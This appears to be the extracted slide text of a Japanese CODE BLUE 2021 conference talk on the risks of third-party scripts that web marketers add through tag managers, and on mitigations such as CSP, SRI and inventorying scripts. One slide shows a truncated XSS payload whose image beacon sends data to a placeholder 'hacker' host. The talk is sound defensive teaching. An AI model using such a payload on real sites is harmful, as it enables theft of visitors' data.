SlideShare a Scribd company logo
ラストマイル問題:
ウェブマーケターが追加する
サードパーティスクリプトという盲点
アレクサンドル・メルシエ
2021年10月10日
>
CODEBLUE2021
CODEBLUE2021
2
質問
自社サイト・ウェブアプリにある
すべてのスクリプトを
100% 把握していると言い切れますか?
ご清聴ありがとうございました!
アレクサンドル・メルシエ
2021年10月10日
CODEBLUE2021
CODEBLUE2021 >
4
ALEXANDRE MERCIER
アレクサンドル メ ル シ エ
> あだ名 : アレックス
> Twitter:
@cyberflamingo
自己紹介
CODEBLUE2021
CODEBLUE2021 >
5
ALEXANDRE MERCIER
アレクサンドル メ ル シ エ
> 大学 : コミュ専攻
自己紹介
セールスとマーケティング
CODEBLUE2021
CODEBLUE2021 >
6
ALEXANDRE MERCIER
アレクサンドル メ ル シ エ
> 大学 : コミュ専攻
> 仕事 : マーケティング
自己紹介
CODEBLUE2021
CODEBLUE2021 >
7
ALEXANDRE MERCIER
アレクサンドル メ ル シ エ
> 大学 : コミュ専攻
> 仕事 : マーケティング
> 仕事 : セキュリティ
自己紹介
すみれちゃん
CODEBLUE2021
CODEBLUE2021 >
8
ALEXANDRE MERCIER
アレクサンドル メ ル シ エ
> 大学 : コミュ専攻
> 仕事 : マーケティング
> 仕事 : セキュリティ
> 趣味 : こけし
自己紹介
CODEBLUE2021
CODEBLUE2021 >
9
ALEXANDRE MERCIER
アレクサンドル メ ル シ エ
> 大学 : コミュ専攻
> 仕事 : マーケティング
> ���事 : セキュリティ
> 趣味 : こけし
こけし
こけし
自己紹介
CODEBLUE2021
CODEBLUE2021 >
10
ALEXANDRE MERCIER
アレクサンドル メ ル シ エ
> 大学 : コミュ専攻
> 仕事 : マーケティング
> 仕事 : セキュリティ
> 趣味 : こけし
こけし
こけし
こけし
自己紹介
CODEBLUE2021
CODEBLUE2021 >
11
ALEXANDRE MERCIER
アレクサンドル メ ル シ エ
> 大学 : コミュ専攻
> 仕事 : マーケティング
> 仕事 : セキュリティ
> 趣味 : こけし
こけし
こけし
こけし
こけし
︙
自己紹介
こけし管理表 .xlsx
>
CODEBLUE2021
CODEBLUE2021
12
なぜこの講演
セキュリティエンジニア
ウェブマーケティング
>
CODEBLUE2021
CODEBLUE2021
13
なぜこの講演
セキュリティエンジニア
ウェブマーケティング
どんな仕事
どんなワークフロー
どんなツールセット
どんな懸念とセキュリティ問題
理想の
開発パイプライン :
DevSecOps
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
15
DevSecOps ( 理想像 )
GIT REPO
main
candidate
production
develop
feature
開発
環境
ソースコード診断
脅威モデル設計
脆弱性診断
#DEV #OPS
開発者
Web
App
商用
環境
ビルド・テスト
ビルド・テスト
ビルド・展開
依存関係の
脆弱性確認
コードレビュー
>
CODEBLUE2021
CODEBLUE2021
16
マーケティングの位置づけ
GIT REPO
main
candidate
production
develop
feature
開発
環境
ソースコード診断
脅威モデル設計
脆弱性診断
#DEV #OPS
開発者
Web
App
商用
環境
ビルド・テスト
ビルド・テスト
ビルド・展開
依存関係の
脆弱性確認
コードレビュー
ウェブマーケティング
マーケティング部と確認しない、
又は忘れられたラストマイル
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
18
ウェブサイトの盲点
Web サイトの意思決定者の 92 %は、自社の
Web サイトで実行されているサードパーティ製の
クライアントサイドスクリプトについて、
完全には把握できていないと答えた。
参 照 : C y b e r t h r e a t D e f e n s e R e p o r t 2 0 2 1 , C y b e r E d g e G r o u p , L L C . f o r P e r i m e t e r X
h t t p s : / / w w w . p e r i m e t e r x . c o m / c d r 2 0 2 1
>
CODEBLUE2021
CODEBLUE2021
19
ユーザ体験
あなたのアプリ
あなたのコード
ウィジェット
A/B テストツール
>
CODEBLUE2021
CODEBLUE2021
20
ユーザ体験
スクリプトが呼び出す
スクリプト
体験を拡張する
ウィジェット
A/B テストツール
>
CODEBLUE2021
CODEBLUE2021
21
ラストマイル問題
商用
環境
ウェブマーケティングが
タグマネージャーを使って
スクリプトを追加する
セグメント A
セグメント B
セグメント C
ウェブマーケティング
Web
App
Web
App
Web
App
>
CODEBLUE2021
CODEBLUE2021
22
ラストマイル問題
商用
環境
ウェブマーケティングが
タグマネージャーを使って
スクリプトを追加する
セグメント A
セグメント B
セグメント C
ウェブマーケティング
Web
App
Web
App
Web
App
禁止にする?
>
CODEBLUE2021
CODEBLUE2021
23
ラストマイル問題
商用
環境
ウェブマーケティングが
タグマネージャーを使って
スクリプトを追加する
セグメント A
セグメント B
セグメント C
ウェブマーケティング
Web
App
Web
App
Web
App
無視&祈る?
🙈
CODEBLUE2021
CODEBLUE2021 >
24
代表なタグマネージャー 「タグマネージャーとは、ウェブサイト [ 等 ] に
含まれる「タグ」(トラッキング コードや関連
するコードの総称)を素早く簡単に更新できるタ
グ管理システム。
タグマネージャーのコードの一部をプロジェクト
に追加すると、ウェブベースのユーザー インター
フェースから、分析と測定のタグ設定を安全かつ
簡単にデプロイできます。」
タグマネージャーとは
参 照
h t t p s : / / s u p p o r t . g o o g l e . c o m / t a g m a n a g e r / a n s w e r / 6 1 0 2 8 2 1 ? h l = j a
>
CODEBLUE2021
CODEBLUE2021
25
タグマネージャーとは
Google Tag Manager の管理画面
>
CODEBLUE2021
CODEBLUE2021
26
代表的なタグ
ウェブトラフィックの分析・レポート (Google Analytics...)
広告トラフィックの分析 (Google DoubleClick, Facebook Pixel,
Google Ads, Twitter Advertising...)
ソーシャルメディアのオーディエンス分析 (Facebook, Twitter, TikTok...)
A/B テスト、ユーザビリティテスト、行動トラッキング (Optimizely, Google Optimize...)
ヒートマップツール (Crazy Egg, Hotjar...)
イベント駆動型ポップアップやその他のメール収集ツール
>
CODEBLUE2021
CODEBLUE2021
27
非常に強力なタグも ...
>
CODEBLUE2021
CODEBLUE2021
28
非常に強力なタグも ...
起こりうること
( 事例 )
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
30
起こりうること
朗報
>
CODEBLUE2021
CODEBLUE2021
31
起こりうること
> 設定ミス
> 未確認の脆弱性の導入
> 悪意あるスクリプトの追加
> ドメインの乗っ取り
起こりうること:
設定ミス
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
33
設定ミス
平均 12 スクリプト / サイト
様々なターゲット
様々なトリガー
ユーザのクレカ情報を収集した!
>
CODEBLUE2021
CODEBLUE2021
34
GDPR が支援に来た
🔒GDPR
起こりうること:
未確認の脆弱性
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
36
未確認の脆弱性
開発者 エンドユーザ
Web
App
Web
App
>
CODEBLUE2021
CODEBLUE2021
37
未確認の脆弱性
メールキャプチャポップアップ
>
CODEBLUE2021
CODEBLUE2021
38
未確認の脆弱性
Elwood Edwards 氏
You’ve got m@il!
>
CODEBLUE2021
CODEBLUE2021
39
未確認の脆弱性
メールキャプチャポップアップ
" > < s c r i p t > v a r + i m g = n e w + I m a g e ( ) ; i m g . s r c = " h t t p s : / / h a c k e r / . . .
>
CODEBLUE2021
CODEBLUE2021
40
未確認の脆弱性
Elwood Edwards 氏
You’ve got m@il!
XSS
起こりうること:
悪意あるスクリプトの追加
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
42
悪意あるスクリプトの追加
> タグはサンドボックス化されていない
> マルウェア配布の確認を行うのは Google のみ
参 照
h t t p s : / / s u p p o r t . g o o g l e . c o m / t a g m a n a g e r / a n s w e r / 6 3 2 8 4 8 9 ? h l = j a
>
CODEBLUE2021
CODEBLUE2021
43
悪意あるスクリプトの追加
画像: アル , 攻殻機動隊 THE HUMAN ALGORITHM, 藤咲 淳一 / 講談社
つまり、ツールが何の保護措置も取らずに
スクリプトをそのまま読み込むってわけか
>
CODEBLUE2021
CODEBLUE2021
44
なぜ保護措置がない?
</>
キーストロークを記録する
</>
キーロガー
</>
UX の改善
>
CODEBLUE2021
CODEBLUE2021
45
S.E. のターゲットになりがち
ソーシャル・エンジニアリング
起こりうること:
ドメインの乗っ取り
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
47
ドメインの乗っ取り
画像: Motherboard Tech by Vice
https://www.vice.com/en/article/qj8xz3/a-defunct-video-ho
sting-site-is-flooding-normal-websites-with-hardcore-porn
マーケティング部との
連携方法
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
49
マーケティングと言えば…
画像: Mad Men, Lionsgate Television
“ ダークブロックチェーン使用するサイバー AI 搭載のアンチ APT”
>
CODEBLUE2021
CODEBLUE2021
50
連携する理由
> フロントエンドに大きな力を持っている
> マーケターはセキュリティ問題に敏感になってない
> 今こそ、この状況を変えるべき
>
CODEBLUE2021
CODEBLUE2021
51
マーケティング部との対話
> ポイント:マーケティングの言葉で話す(事例)
> 直帰率・離脱率は上がる?下がる?
> CVR ( コンバージョン率 ) への影響は?
>
CODEBLUE2021
CODEBLUE2021
52
マーケティング部との対話
「安全じゃない!そんなことさせるかよ!」
「このリソースを使用すると、お客様のブラウザに
『保護されていない通信』と表示されて
しまいますます。見込み客が怖がってしまい、
CVR にも影響が出てしまうと恐れています。」
>
CODEBLUE2021
CODEBLUE2021
53
マーケティング部との対話
「うっわ!このスクリプトは最ぃ悪!排除しろ」
「このスクリプトのせいでウェブサイトが
遅くなってしまいますね。これは直帰率にも
影響しているのではないでしょうか?
新しいバージョンに置き換えることはできますか?」
>
CODEBLUE2021
CODEBLUE2021
54
マーケティング部との対話
「もし���の言うとおりにしなければ、
`script-src 'self'` で
あなたのおもちゃをブロックするぞ」
マーケティング部と働く
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
56
マーケティング部と働く
朗報 × 2
>
CODEBLUE2021
CODEBLUE2021
57
マーケティング部と働く
リスクを軽減するための知識
1. 資産目録
2. 分析&リスク評価
3. リスクの軽減 3. リスク評価
リスクを軽減するため:
1. 資産目録
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
59
資産目録:収集している情報
資産目録対象
1. 収集している情報
2. 使っているツール・スクリプト
3. リスク評価
>
CODEBLUE2021
CODEBLUE2021
60
資産目録:収集している情報
now
then
とりあえず
すべての情報を収集!! 🔒GDPR
Stop.
>
CODEBLUE2021
CODEBLUE2021
61
ちなみに
>
CODEBLUE2021
CODEBLUE2021
62
ちなみに
これをきっかけに「情報収集の減少」について
ぜひ会話をしてみてください !!
CODEBLUE2021
CODEBLUE2021 >
63
監視資本主義
> 著 : ショシャナ・ズボフ
> 訳 : 野中 香方子
ちなみに
画像: 東洋経済新報社
>
CODEBLUE2021
CODEBLUE2021
64
ちなみに
( 折伏はここまで )
しゃくぶく
>
CODEBLUE2021
CODEBLUE2021
65
資産目録:ツール / スクリプト
その他のツール
「コア」ツールセット
シフト・レフトの対象 (CI/CD に入れたい )
>
CODEBLUE2021
CODEBLUE2021
66
資産目録:ツール / スクリプト
その他のツール
「コア」ツールセット
深い分析とリスク判断が必須
リスクを軽減するため:
2. 分析とリスク評価
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
68
マーケティングは…
>
CODEBLUE2021
CODEBLUE2021
69
… 忙しい
画像: アル , 進撃の巨人 , 諫山創 / 講談社
>
CODEBLUE2021
CODEBLUE2021
70
タグマネージャーの DevOps
テスト開始
タグ作成
NG
OK
OK
商用で
テスト
OK
NG
下書き
バージョン
作成
QA に
レビュー
依頼
社内で
テスト
バージョン
公開
リバート
継続
CODEBLUE2021
CODEBLUE2021 >
71
ツール ( 例 )
使えそうなツール
> 機密情報の無断収集の検知
> 既知の脆弱性の有無の検知
> 未知のドメインへの接続記録
Website Risk Analyzer
Page Integrity Manager
Data Watch
>
CODEBLUE2021
CODEBLUE2021
72
リスク評価
リスクアセスメント
> 依存関係の脆弱性リストを空にすることは不可能
> 早い段階でリスクとベネフィットを考えることが重要
> 最も意味のある対策を重視
> マーケティングに必要なスピードを考慮
リスクを軽減するため:
3. リスクの軽減
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
74
リスクの軽減
ウェブマーケティングツールに関して
> PII をマスキング / 記録しないセーフガードはあるか?
> それらは正しく設定されているか?
> 設定ミスが起こらないようにはどうすればいいか?
> シフト・レフトは可能なのか?
>
CODEBLUE2021
CODEBLUE2021
75
リスクの軽減
ウェブマーケティングツールに関して
> PII をマスキング / 記録しないセーフガードはあるか?
> それらは正しく設定されているか?
> 設定ミスが起こらないようにはどうすればいいか?
> シフト・レフトは可能なのか?
Bonjour
>
CODEBLUE2021
CODEBLUE2021
76
リスクの軽減
タグマネージャーの運用を見直す
>
CODEBLUE2021
CODEBLUE2021
77
リスクの軽減
文化的な面で
> 新しいベンダーのバックグラウンドチェック
> 既存のベンダーによりセキュリティコントロールを要求
参 照 : F o r W h a t T e c h n o l o g y C a n ’ t F i x : B u i l d i n g a M o d e l o f O r g a n i z a t i o n a l
C y b e r s e c u r i t y C u l t u r e , C y b e r s e c u r i t y a t M I T S l o a n , M I T , 2 0 1 9
h t t p : / / h d l . h a n d l e . n e t / 1 0 1 2 5 / 6 0 0 7 4
>
CODEBLUE2021
CODEBLUE2021
78
リスクの軽減
技術的な面で
> iframe の allow や sandbox 属性は使えるが・・・
> SubResource Integrity (SRI) はできるだけ追加する
> 最も優れた方法は Content Security Policy (CSP)
>
CODEBLUE2021
CODEBLUE2021
79
リスクの軽減
まともなタグマネージャーツールは CSP に対応させ、
`nonce` 値を作成できる
参 照 : U s i n g G o o g l e T a g M a n a g e r w i t h a C o n t e n t S e c u r i t y P o l i c y , G o o g l e T a g M a n a g e r
h t t p s : / / d e v e l o p e r s . g o o g l e . c o m / t a g - m a n a g e r / w e b / c s p
技術的な面で
>
CODEBLUE2021
CODEBLUE2021
80
リスクの軽減
> CSP は完璧ではない
> バイパスや、許可されたドメインの濫用は可能
参 照 : A m i r S h a k e d - C S P i s b r o k e n , l e t ’ s fi x i t - D E F C O N 2 9 A p p S e c V i l l a g e
h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = k k I r H 3 F s 4 I g
技術的な面で
>
CODEBLUE2021
CODEBLUE2021
81
リスクの軽減
セーフティネットを用意しましょう
> タグマネージャーの設定は複雑で混乱しやすい
> 技術的にスクリプト展開を制限することが可能
参 照 : R e s t r i c t t a g d e p l o y m e n t , G o o g l e T a g M a n a g e r
h t t p s : / / d e v e l o p e r s . g o o g l e . c o m / t a g - m a n a g e r / w e b / r e s t r i c t
>
CODEBLUE2021
CODEBLUE2021
82
リスクの軽減
セーフティネットを用意しましょう
センシティブな
ページ
一般な
ページ
一般な
ページ
情報収集スクリプト
その他のスクリプト
情報収集スクリプト
拒否フィルタ
その他のスクリプト
情報収集スクリプト
その他のスクリプト
ページ 1 ページ 2 ページ 3
>
CODEBLUE2021
CODEBLUE2021
83
リスクの軽減
セーフティネットを用意しましょう
センシティブな
ページ
一般な
ページ
一般な
ページ
情報収集スクリプト
その他のスクリプト
情報収集スクリプト
拒否フィルタ
その他のスクリプト
情報収集スクリプト
その他のスクリプト
ページ 1 ページ 2 ページ 3
dataLayer 制限
>
CODEBLUE2021
CODEBLUE2021
84
リスクの軽減
セキュリティはチームプレイ
重要なポイント &
お礼
0xFC698 Directory Table Base Hash
0xFC90A Load Secondary Subversion
0xFC864 Profile Database Commit
0xFC6D8 Profile Loader Module
0xFC874 Active Process
0xFC708 Machine Image Type Mux
0xFB08C Unloaded Drivers Offset List
0xFC550 Bug Check Parameter 001
>
CODEBLUE2021
CODEBLUE2021
86
キーポイント
1. 我々の仕事は商用環境に出荷したあとも続く
2. タグマネージャーに関して��縁であってはならない
3. 誰もがセキュリティの一部となっている
ご清聴ありがとうございました!
アレクサンドル・メルシエ
2021年10月10日
ご質問がありましたら、イベント中やイベント後に
お気軽にお問い合わせください!

More Related Content

[CB21] Last Mile Problem: Third Party Scripts included by Web Marketers and their Dangers by Alexandre Mercier